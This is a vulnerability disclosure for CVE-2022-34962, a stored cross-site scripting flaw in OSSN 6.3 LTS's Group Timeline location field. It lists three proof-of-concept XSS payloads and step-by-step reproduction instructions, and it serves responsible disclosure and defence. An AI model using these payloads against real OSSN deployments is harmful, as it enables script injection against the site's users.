[CVE-2022–34962] OSSN 6.3 LTS — Stored XSS Vulnerability at Group Timeline

Vulnerability Explanation:

OpenTeknik LLC OSSN OPEN SOURCE SOCIAL NETWORK v6.3 LTS was discovered to contain a stored cross-site scripting (XSS) vulnerability via the Group Timeline module.

Attack Vectors:

The attacker must post something on the “Group Timeline” and insert the XSS payload at the location input in order to exploit the stored XSS. The XSS payload will be launched immediately after submission.

Affected Component:

  1. http://ip_address:port/ossn/group/{number}
  2. POST /ossn/action/wall/post/g?ossn_ts=1656419377&ossn_token=c0ee6b52f853a5073679f7a82372a0726a6a6e7d5500ec372fef9341f1e45e21

Payload :

  1. <img/&#09;&#10;&#11; src=~ onerror=prompt('Grim-The-Ripper-Team-by-SOSECURE-Thailand')>
  2. <BODY ONLOAD=alert('Grim-The-Ripper-Team-by-SOSECURE-Thailand')>
  3. <img src=x onerror=confirm('Grim-The-Ripper-Team-by-SOSECURE-Thailand')>

Tested on:

  1. OSSN v6.3 LTS (https://github.com/opensource-socialnetwork/opensource-socialnetwork/releases/tag/6.3)
  2. Google Chrome Version 102.0.5005.115 (Official Build) (x86_64)

Steps to attack:

1.Login with username and password. (If you don’t have an account, you can register)

2.Go to a “Groups”. (If you don’t have any groups, you can click on the “Add Group” button to create one.)

3.We found meassage success create group.

4.Enter data in the data entry form. Click on the location button and enter the XSS payload. Then press the Post button.

5.The XSS payload will run immediately.

Discoverer:

Grim The Ripper Team by SOSECURE Thailand

Disclosure Timeline:

  • 2022–06–28: Vulnerability discovered.
  • 2022–06–28: Vulnerability reported to the MITRE corporation.
  • 2022–07–08: CVE has been reserved.
  • 2022–07–08: Public disclosure of the vulnerability.

Reference:

  1. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-34962
  2. https://www.opensource-socialnetwork.org/
  3. https://github.com/opensource-socialnetwork/opensource-socialnetwork/releases/tag/6.3
  4. https://www.openteknik.com/contact?channel=ossn

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